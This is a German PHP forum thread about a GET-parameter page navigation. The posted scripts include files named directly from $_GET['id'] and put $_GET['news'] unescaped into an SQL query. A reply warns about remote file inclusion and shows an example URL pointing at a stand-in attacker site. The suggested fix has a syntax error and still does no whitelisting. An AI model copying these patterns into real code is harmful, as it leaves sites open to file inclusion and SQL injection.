problem mit get navigation

asdfg

Mitglied
Ich verwende volgendes Script:
PHP:
<?php
if(!isset($_GET[id]))
{
include('home.php');
}
else
{
include($_GET[id].'.php');
} ?>

Ich habe mit diesem Script folgende Adresse: http://www.meineseite.com/?id=home

Diese Script funktioniert auf der Basis das die Dateien vorhanden sein müssen.
Nun habe ich aber ein Script dass ich an meine Adresse anhängen möchte, das Problem ist dabei das diese Dateien nicht vorhanden sind, sondern sie sind von einer SQL Datenbank.

Diese Adresse sieht dann so aus: http://www.meineseite.com/?id=home&news=23

Wenn ich nun die Adresse so eingebe werden beide Inhalte angezeigt. Wie muss ich das Script schreiben dass der richtige Inahlt angezeigt wird, und wenn nur die http://www.meineseite.com eingeben wird, dass dann ein Default Inhalt angzeigt wird?
Der Code der Abfrage:

PHP:
<?

include ('mysql.php');
include ('en.php');

if ($_GET[news]){


$sql = "SELECT news name email timestamp text FROM gb WHERE news=$_GET[news]";      
$Ergebnis=mysql_query($sql,$Connect);
$news=mysql_fetch_row($Result);
?>

Beides zusammen:

PHP:
<?php
if(!isset($_GET[id]))
{
include('home.php');
}
else
{
include($_GET[id].'.php');
} ?>

<?

include ('mysql.php');
include ('en.php');

if ($_GET[news]){


$sql = "SELECT news name email timestamp text FROM gb WHERE news=$_GET[news]";      
$Ergebnis=mysql_query($sql,$Connect);
$news=mysql_fetch_row($Result);
?>
 
Zuletzt bearbeitet:
Ein paar Dinge zu Deinem Code.

1. Er ist haesslich, soll heissen: Einruecken kann Code schoener und lesbarer machen.
2. Du nutzt isset bei $_GET['id'] aber nicht fuer $_GET['news'].
3. Wie bei 2. schon zu sehen sollte ein String auch als solches gekennzeichnet werden.
Du nutzt $_GET[id], wobei PHP so freundlich ist und die nichtexistente Konstante id durch den String 'id' ersetzt. Du solltest Dir aber angewoehnen mit '' oder "" zu arbeiten, so kannst Du eventuelle Kollisionen mit Konstanten vermeiden.
4. Nach if ($_GET[news]){ fehlt }, kann sein, dass das vom Kopieren kommt, aber es sieht eher nicht danach aus, da Du ja am Ende ?> hast.
5.
asdfg hat gesagt.:
Diese Script funktioniert auf der Basis das die Dateien vorhanden sein müssen.
Und das wird wo geprueft?
Falls Dein Script auf einem Server liegt wo allow_url_fopen on ist, dann erlaubt Dein Script im aktuellen Zustand Cross-Site-Scripting, man braeuchte dazu lediglich etwas in dieser Art nutzen: http://www.meineseite.com/?id=http://www.boesehackerseite.net/fiesesscript
Verlass Dich nicht darauf, dass Deine Scripts immer auf Servern liegen welche allow_url_fopen off haben. Genauso wenig wie man sich halt darauf verlassen sollte, dass register_globals on ist.
 
Mein Vorschlag: Lagere alle Skripte (im diesem Fall die Datenbankabfrage) in zusätzliche Dateien aus. Dann nutze folgendes Skript zum Einbinden der Skripte:
PHP:
<?php

	$_GET['id'] = ( isset($_GET['id']) )
		? $_GET['id'].'.php'
		: null;

	if( !is_null($_GET['id']) ) {
		if( file_exists($_GET['id']) )
			include_once $_GET['id'];
		} else {
			// Alternativzweig für mögliche Fehlermeldung
			// header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found');
		}
	} else {
		include_once 'home.php';
	}

?>
 
Zurück